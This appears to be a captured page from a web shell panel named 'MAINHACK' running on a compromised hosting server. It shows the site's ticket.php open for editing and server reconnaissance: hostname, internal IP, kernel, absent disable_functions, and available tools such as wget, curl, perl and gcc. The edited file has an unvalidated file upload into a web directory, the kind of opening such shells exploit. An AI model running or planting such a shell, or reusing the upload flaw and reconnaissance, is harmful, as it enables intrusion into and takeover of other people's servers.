[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ticket.php
<?php include 'header.php'; if(!isset($_SESSION['login_id']) && empty($_SESSION['login_id'])) { header('location:index.php'); } ?> <!-- BANNER --> <div class="banner-inner"> <img src="images/inner-banner.jpg" alt="" class="banner-img"> </div> <div class="profile" style=""> <div class="container"> <div class="title-section text-center"> <p class="w3ls-title-sub"> </p> <h3 class="w3ls-title">Create <span> new support request</span></h3> </div> <div class="row"> <div class="col-md-3 col-sm-3 col-xs-12"> <?php include('user-profile.php');?> </div> <div class="col-md-9 col-sm-9 col-xs-12" style=""> <div class="profile-box"> <form method="post" class="profile" data-toggle="validator" enctype="multipart/form-data" > <div class="form-left-to-w3l" id="b_name"> <label>Name </label> <input type="text" title="" name="name" value="<?=$_SESSION['login_user']?>" readonly> </div> <div class="form-left-to-w3l" id="b_name"> <label>Email</label> <input type="text" title="" name="email" id="email" value="<?=$_SESSION['username']?>" readonly> </div> <div class="form-left-to-w3l" id="b_name"> <label>Subject </label> <input type="text" title="" id="sub" name="subject" required> </div> <div class="form-left-to-w3l" id="b_name"> <label>Attachment </label> <input type="file" title="" id="" name="attachment"> </div> <div class="form-left-to-w3l" id="b_name"> <label>Captcha</label> <input type="text" name="captcha" style="color: #000 !important; background: url(images/captcha_background.png) no-repeat top right; background-size: auto; background-size: cover; letter-spacing: 3px; margin: 0 0 0 0; padding: 11px 0 8px 75px;" value="<?php echo rand(0,1999); ?>" readonly=""> </div> <div class="form-left-to-w3l" id="b_name"> <label>Text Please</label> <input type="text" name="put_captcha" placeholder="Captcha Please" required=""> </div> <div class="form-left-to-w3l" id="b_name"> <label style="">Message </label> <textarea name="message" title="" ></textarea> </div> <div class="form-sub-acc" id="b_name"> <div class="form-sub"> <input type="submit" class="" name="sub" id="btn" value="Submit"> </div> </div> </form> <?php if(isset($_POST['sub'])){ if(file_exists($_FILES['attachment']['tmp_name']) || is_uploaded_file($_FILES['attachment']['tmp_name'])) { $img=$show->imageEdit($_FILES['attachment']['name']); move_uploaded_file($_FILES['attachment']['tmp_name'],"product_img/".$img); }else{ $img='';} $data=array( 'user_id'=>$_SESSION['login_id'], 'name'=>$_SESSION['login_user'], 'phone'=>$_SESSION['phonr'], 'email'=>$_SESSION['username'], 'image'=>$img, 'date'=>date('Y-m-d'), 'message'=>$_POST['message'], 'subject'=>$_POST['subject'], 'status'=>'OPEN' ); $r1=$show->insert('ticket',$data); if($r1){ echo '<script> setTimeout(function() { swal({ title: "Thank You!", text: "You ticket has been submitted", type: "success" }, function() { window.location = "index.php"; }); }, 1000); </script>'; } } ?> </div> </div> </div> </div> </div> <!-- Footer include --> <?php include("footer.php"); ?> <!-- // Footer include -->
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619